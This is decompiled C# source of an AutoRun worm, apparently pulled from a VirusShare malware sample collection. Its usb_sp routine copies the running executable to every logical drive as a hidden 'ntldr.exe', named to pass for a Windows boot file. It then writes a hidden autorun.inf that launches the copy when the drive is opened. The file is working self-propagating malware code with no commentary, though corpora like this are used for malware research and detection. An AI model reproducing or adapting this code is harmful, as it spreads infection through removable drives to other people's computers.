// Decompiled with JetBrains decompiler // Type: BCV5StuB.usb // Assembly: Windows, Version=7.8.9.10, Culture=neutral, PublicKeyToken=null // MVID: 9F0D14B2-64CD-49F4-8243-2271113E9FED // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.AutoRun.hgi-f7f655882362e3de6b26b28c84c129a11a52fb9cd813ce2911fb258b72766e44.exe using BCV5StuB.My; using Microsoft.VisualBasic.CompilerServices; using System; using System.IO; using System.Reflection; namespace BCV5StuB { [StandardModule] internal sealed class usb { public static void usb_sp() { string programFiles = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles; string[] logicalDrives = Directory.GetLogicalDrives(); int index = 0; while (index < logicalDrives.Length) { string str = logicalDrives[index]; try { if (!File.Exists(str + "ntldr.exe")) File.Copy(Assembly.GetExecutingAssembly().Location, str + "ntldr.exe"); StreamWriter streamWriter = new StreamWriter(str + "autorun.inf"); streamWriter.WriteLine("[autorun]"); streamWriter.WriteLine("open=ntldr.exe"); streamWriter.WriteLine("shellexecute=ntldr.exe"); streamWriter.Close(); File.SetAttributes(str + "autorun.inf", FileAttributes.Hidden); File.SetAttributes(str + "ntldr.exe", FileAttributes.Hidden); } catch (Exception ex) { ProjectData.SetProjectError(ex); ProjectData.ClearProjectError(); } checked { ++index; } } } } }